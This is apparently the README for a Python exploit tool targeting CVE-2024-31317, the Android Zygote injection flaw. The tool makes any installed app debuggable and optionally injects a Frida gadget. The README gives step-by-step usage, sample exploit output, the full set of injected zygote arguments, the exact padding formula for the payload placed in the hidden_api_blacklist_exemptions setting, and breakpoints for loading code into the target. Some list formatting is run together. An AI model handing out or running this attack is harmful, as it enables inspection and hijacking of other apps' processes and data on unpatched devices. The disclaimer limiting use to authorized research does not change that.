
CVE-2024-31317 Debuggable App Exploit
A Python-based exploit for CVE-2024-31317 (Android Zygote Injection) that makes any installed Android app debuggable by injecting malicious zygote arguments through the hidden_api_blacklist_exemptions setting. Includes optional Frida gadget injection for runtime hooking.
This exploit leverages a command injection vulnerability in Android's Zygote process to start target applications with the debuggable flag enabled. This allows JDWP debugging and inspection of any app without needing root access or the app's debug version.
Based on the research from: Flanker's CVE-2024-31317 Analysis
Key insight: "the runtime-flags field in ZygoteArguments can actually be used to enable an application's debuggable attribute."
runtime-flags=65535 to enable debuggingppadb, jdwplibPlace the following files in the same directory:
├── CVE-2024-31317-Debuggable.py # Main exploit script
├── jdwplib.py # JDWP client library
├── app-debug.apk # Debuggable helper app
├── frida-gadget-android-*.so # Frida gadget (optional)
├── frida-gadget.config.so # Frida config (optional)
└── win32/adb.exe # Windows ADB binary
python CVE-2024-31317-Debuggable.py
The script will prompt you to select a parameter detection mode:
==================================================
CVE-2024-31317 Exploit
==================================================
[1] Auto-detect parameters
[2] Hardcoded values
Mode (1/2) [1]:
Phase 1: Extract startSeq
startSeq value from stack framesPhase 2: Inject Zygote Arguments
runtime-flags=65535 (debuggable)hidden_api_blacklist_exemptions settingPhase 3: Post-Exploitation
==================================================
CVE-2024-31317 Exploit
==================================================
[1] Auto-detect parameters
[2] Hardcoded values
Mode (1/2) [1]: 1
[INFO] Phase 1: Extract startSeq
[INFO] com.debug.app already installed
[INFO] Setting debuggable
[INFO] Starting com.debug.app/.MainActivity
[INFO] PID: 12345
[INFO] JDWP port: 8700
[INFO] Suspending VM
[INFO] Scanning 42 frames
[INFO] startSeq: 123456
[INFO] Phase 2: Exploit com.debug.configurator
[INFO] Detecting parameters for com.debug.configurator
[INFO] UID: 10242
[INFO] Arch: arm64
[INFO] Data: /data/user/0/com.debug.configurator
[INFO] Android 13
[INFO] Payload: 8765 bytes
[INFO] Restarting target
[INFO] Done
[INFO] Target PID: 23456
[INFO] JDWP: 8701
Inject Frida? (y/N):
Edit the constants at the top of the script:
TARGET_APP = "com.debug.configurator" # Change to your target package
DEBUG_APP = "com.debug.app" # Helper debuggable app
DEBUG_APK = "app-debug.apk" # APK file for helper app
Auto-detect mode (recommended):
pm list packages -U to get UIDdumpsys package to get instruction set and data directoryHardcoded mode:
After the exploit succeeds, you can optionally inject Frida gadget:
Inject Frida? (y/N): y
The script will:
frida-gadget.so to /data/local/tmp/run-asThe script tries these breakpoints in order of reliability:
The top breakpoints should trigger automatically. If they timeout, tap on the app to trigger the fallback breakpoints.
After successful injection:
# Connect to gadget
frida -H 127.0.0.1:27042 -n Gadget
# List processes
frida-ps -H 127.0.0.1:27042
Once the exploit succeeds, the target app is running with debugging enabled:
Connect with JDWP debugger:
jdb -attach localhost:8701
Use Android Studio debugger - Attach to process on the forwarded port
Use Frida - If gadget was injected via the script
CVE-2024-31317 is a command injection vulnerability in Android's Zygote process. By manipulating the hidden_api_blacklist_exemptions system setting with specially crafted input, we can inject arbitrary zygote arguments when an app starts.
startSeq Extraction: Every app launch has a unique sequence number. We extract this from a debuggable app via JDWP by inspecting stack frame variables.
Payload Construction: We build zygote arguments including:
--runtime-args
--setuid=<target_uid>
--setgid=<target_gid>
--runtime-flags=65535 # Enables all debug flags
--mount-external-default
--target-sdk-version=35
--setgroups=3003
--nice-name=<package>
--seinfo=default:targetSdkVersion=30:complete
--instruction-set=<arch>
--app-data-dir=<data_dir>
--package-name=<package>
--is-top-app
--bind-mount-data-dirs
android.app.ActivityThread
seq=<startSeq+1>
Injection: Payload is injected into the system setting with specific padding for Android 12+:
payload = "\n" * 3000 + "A" * 5157 + zygote_args + "," + ",\n" * 1400
Trigger: Force-stop and restart the target app, which launches with our injected arguments and the debuggable flag enabled.
The Frida injection works by:
Runtime.load() to load the Frida gadget shared library"Failed to get startSeq"
"No breakpoint hit" during Frida injection
Frida connection refused
adb forward --listadb forward tcp:27042 tcp:27042This tool is for educational and authorized security research purposes only. Only use this on devices you own or have explicit written permission to test. Unauthorized access to computer systems is illegal and unethical. The authors are not responsible for any misuse of this tool.
MIT License - See LICENSE file for details.
| Class | Method | Trigger |
|---|
android.os.MessageQueue | next | Auto - main looper polls constantly |
android.os.Binder | execTransact | Auto - any IPC/binder call |
android.app.ActivityThread | handleMessage | Auto - app's main handler |
android.os.Handler | dispatchMessage | Auto - message dispatch |
android.os.Handler | handleMessage | Auto - message handling |
android.view.Choreographer | doFrame | Auto - frame callbacks |
android.view.View | dispatchTouchEvent | Manual - requires touch |
android.view.View | onDraw | Manual - requires UI redraw |